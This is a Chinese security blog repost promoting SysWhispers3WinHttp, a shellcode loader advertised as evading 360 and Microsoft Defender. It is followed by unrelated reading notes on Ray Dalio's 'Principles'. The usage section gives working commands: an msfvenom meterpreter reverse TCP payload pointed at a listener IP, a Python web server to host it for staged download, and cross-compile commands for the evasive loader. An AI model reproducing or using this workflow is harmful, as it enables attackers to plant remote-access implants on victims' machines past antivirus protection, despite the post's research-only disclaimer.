【免杀系列】SysWhispers3WinHttp 基于SysWhispers3增添WinHttp分离加载，可免杀360核晶等
2023-6-9 00:1:59 Author: Ots安全(查看原文) 阅读量:55 收藏

SysWhispers3WinHttp 基于SysWhispers3增添WinHttp分离加载，可免杀360核晶与Defender等杀软。

0x00 免责声明：

该项目仅供安全研究使用，禁止使用该项目进行违法操作，否则由使用者承担全部法律及连带责任。

0x01 更新日志：

2023/06/06 支持64位GCC编译且可通过Stager方式上线SliverC2，增添编译参数绕过静态检测。

0x02 使用：

// 1. 使用msfvenom生成Shellcode（或使用CobaltStrike生成Stageless之Shellcode）msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.1.110 lport=4444 -f raw -o beacon.bin
// 2. 使用python3开启Web服务（或使用CobaltStrike之Host File功能）python3 -m http.server
// 3. 修改SysWhispers3WinHttp.c第40行IP地址，使用Linux64位GCC进行交叉编译x86_64-w64-mingw32-gcc -o SysWhispers3WinHttp.exe syscalls64.c SysWhispers3WinHttp.c -masm=intel -w -s -lwinhttp -O1
// ps. 或修改SysWhispers3WinHttp.c第4行头文件为syscalls.h，修改第40行IP地址，使用Linux32位GCC进行交叉编译i686-w64-mingw32-gcc -o SysWhispers3WinHttp.exe syscalls.c SysWhispers3WinHttp.c -masm=intel -w -s -lwinhttp -O1

0x03 演示：

360核晶（2023/06/06更新）

Defender（2023/06/06更新）


微步云沙箱


0x04 参考：

https://github.com/klezVirus/SysWhispers3

https://learn.microsoft.com/zh-cn/windows/win32/api/winhttp/nf-winhttp-winhttpconnect

0x05 项目地址：

https://github.com/huaigu4ng/SysWhispers3WinHttp

项目作者：huaigu4ng

最近在看《原则》，作者是瑞·达利欧，他是美国桥水基金的创始人，还曾出过一部三十分钟的金融科普动画-经济机器是如何运转的，这个也推荐大家看一下。在本书中他向大家展示了他的生活原则和工作原则，在此书前段也介绍了他的人生经历。如果从此书中仅提炼对我最有帮助的一点，那就是它驱动我去审视自己的人生原则并搭建自己的人生原则。我从书中摘取了几点引起我思考并决定践行的原则，供大家参考。此书适合慢慢读，书中的原则适合我们体悟细品，逐渐沉淀为自己的原则，大家如果有时间可以看看原文。1. 独立思考并决定：1）你想要什么；2）事实是什么；3）面对事实，你如何实现自己的愿望。2. 总结出自己的原则，并将其与相关人共享。3. 发现自己的性格，过与性格相适应的生活，才是最幸福的。4. 当出现“情景再现”时，思考背后的原因。5. 通过快速试错以适应现实。6. 在痛苦时好好反思或者在痛苦消失后反思。7. 好决策最大的威胁是有害情绪，要先了解后决定。

感谢您抽出

.

.

来阅读本文

点它，分享点赞在看都在这里


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247498532&idx=2&sn=561b3bdb4e882fdefc97b7f0e2f83ac2&chksm=9badb26facda3b79f68961ba3da23aa75581a970a84baa6fc7fb126b366816aef6eb5b2e7027#rd
如有侵权请联系:admin#unsafe.sh